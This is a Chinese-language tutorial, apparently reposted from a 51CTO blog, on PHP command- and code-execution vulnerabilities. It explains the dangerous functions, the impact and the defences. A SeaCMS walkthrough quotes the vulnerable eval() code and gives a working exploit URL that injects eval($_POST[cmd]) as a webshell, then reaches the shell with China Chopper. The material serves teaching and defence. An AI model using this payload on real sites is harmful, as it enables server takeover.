0x01:指令執行漏洞簡介
使用者通過浏覽器送出執行指令,由于伺服器端沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令,可能會允許攻擊者通過改變 $PATH 或程式執行環境的其他方面來執行一個惡意構造的代碼
0x02:指令執行 VS 代碼執行
指令執行漏洞:
直接調用作業系統指令
代碼執行漏洞:
靠執行腳本代碼調用作業系統指令
指令執行原理:
在作業系統中,“&、|、||”都可以作為指令連接配接符使用,使用者通過浏覽器送出執行指令,由于伺服器端沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令
代碼執行原理:
應用有時需要調用一些執行系統指令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當使用者能控制這些函數中的參數時,就可以将惡意系統指令拼接到正常指令中,進而造成指令執行攻擊,這就是指令執行漏洞。
0x03:漏洞利用條件
應用調用執行系統指令的函數
将使用者輸入作為系統指令的參數拼接到了指令行中
沒有對使用者輸入進行過濾或過濾不嚴
0x04:漏洞分類
1.代碼層過濾不嚴
商業應用的一些核心代碼封裝在二進制檔案中,在web應用中通過system函來調用:
system("/bin/program --arg$arg");
2.系統的漏洞造成指令注入
bash破殼漏洞(CVE-2014-6271)
3.調用的第三方元件存在代碼執行漏洞
如WordPress中用來處理圖檔的ImageMagick元件
JAVA中的指令執行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP指令執行
0x05:指令函數的利用
1. System:system函數可以用來執行一個外部的應用程式并将相應的執行結果輸出,函數原型如下:
string system(string command, int&return_var)
其中,command是要執行的指令,return_var存放執行指令的執行後的狀态值。
2. Exec:exec函數可以用來執行一個外部的應用程式
string exec (string command, array&output, int &return_var)
其中,command是要執行的指令,output是獲得執行指令輸出的每一行字元串,return_var存放執行指令後的狀态值。
3.Passthru:passthru函數可以用來執行一個UNIX系統指令并顯示原始的輸出,當UNIX系統指令的輸出是二進制的資料,并且需要直接傳回值給浏覽器時,需要使用passthru函數來替代system與exec函數。Passthru函數原型如下:
void passthru (string command, int&return_var)
其中,command是要執行的指令,return_var存放執行指令後的狀态值。
4. Shell_exec:執行shell指令并傳回輸出的字元串,函數原型如下:
string shell_exec (string command)
其中,command是要執行的指令。
0x06:漏洞危害
繼承Web服務程式的權限去執行系統指令或讀 - 寫檔案
反彈shell
控制整個網站甚至控制伺服器
進一步内網滲透
0x07:海洋cms執行個體
指令執行常用的函數,eval(),system(),proc_open()之類的,是以能執行php代碼一般就是 eval() 函數
,
搜尋一下這個頁面有eval函數的地方
<code>for</code><code>(</code><code>$m</code><code>=0;</code><code>$m</code><code><</code><code>$arlen</code><code>;</code><code>$m</code><code>++){</code>
<code> </code><code>$strIf</code><code>=</code><code>$iar</code><code>[1][</code><code>$m</code><code>];</code>
<code> </code><code>$strIf</code><code>=</code><code>$this</code><code>->parseStrIf(</code><code>$strIf</code><code>);</code>
<code> </code><code>$strThen</code><code>=</code><code>$iar</code><code>[2][</code><code>$m</code><code>];</code>
<code> </code><code>$strThen</code><code>=</code><code>$this</code><code>->parseSubIf(</code><code>$strThen</code><code>);</code>
<code> </code><code>if</code> <code>(</code><code>strpos</code><code>(</code><code>$strThen</code><code>,</code><code>$labelRule2</code><code>)===false){</code>
<code> </code><code>if</code><code>(</code><code>strpos</code><code>(</code><code>$strThen</code><code>,</code><code>$labelRule3</code><code>)>=0){</code>
<code> </code><code>$elsearray</code><code>=</code><code>explode</code><code>(</code><code>$labelRule3</code><code>,</code><code>$strThen</code><code>);</code>
<code> </code><code>$strThen1</code><code>=</code><code>$elsearray</code><code>[0];</code>
<code> </code><code>$strElse1</code><code>=</code><code>$elsearray</code><code>[1];</code>
<code> </code><code>@</code><code>eval</code><code>(</code><code>"if("</code><code>.</code><code>$strIf</code><code>.</code><code>"){\$ifFlag=true;}else{\$ifFlag=false;}"</code><code>);</code>
<code> </code><code>if</code> <code>(</code><code>$ifFlag</code><code>){</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strThen1</code><code>,</code><code>$content</code><code>);} </code><code>else</code><code>{</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strElse1</code><code>,</code><code>$content</code><code>);}</code>
<code> </code><code>}</code><code>else</code><code>{</code>
<code> </code><code>@</code><code>eval</code><code>(</code><code>"if("</code><code>.</code><code>$strIf</code><code>.</code><code>") { \$ifFlag=true;} else{\$ifFlag=false;}"</code><code>);</code>
<code> </code><code>if</code> <code>(</code><code>$ifFlag</code><code>)</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strThen</code><code>,</code><code>$content</code><code>); </code><code>else</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>""</code><code>,</code><code>$content</code><code>);}</code>
可以在這裡下個斷點,把變量列印出來
就可以清晰的看到就是在這執行了我們的指令
<a href="http://192.168.0.37search.php/?searchtype=5&tid=&area=eval(%24_POST%5Bcmd%5D)" target="_blank">http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])</a>
<a href="http://s5.51cto.com/wyfs02/M00/8B/C8/wKioL1hY8DGzNCkKAAKc62seKl8237.png" target="_blank"></a>
菜刀連接配接
0x08:指令執行漏洞防禦
1.盡量不要使用系統執行指令
2.在進入執行指令函數方法之前,變量一定要做好過濾,對敏感字元進行轉義
3.在使用動态函數之前,確定使用的函數是指定的函數之一
4.對PHP語言來說,不能完全控制的危險函數最好不要使用
本文轉自 wt7315 51CTO部落格,原文連結:http://blog.51cto.com/wt7315/1884368